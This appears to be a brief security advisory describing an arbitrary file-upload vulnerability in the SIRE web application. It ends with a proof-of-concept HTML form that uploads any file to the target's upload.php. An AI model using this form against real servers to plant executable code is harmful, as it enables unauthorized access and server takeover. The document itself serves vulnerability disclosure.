source: https://www.securityfocus.com/bid/17431/info

SIRE is prone to an arbitrary file-upload vulnerability. 

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

<form enctype="multipart/form-data" method="post" action="http://Trajet/upload.php?"> Download File<br>

<input name="fichier" type="file" size="48"><br>
<input type="submit" name="upload" value="uploader"><form>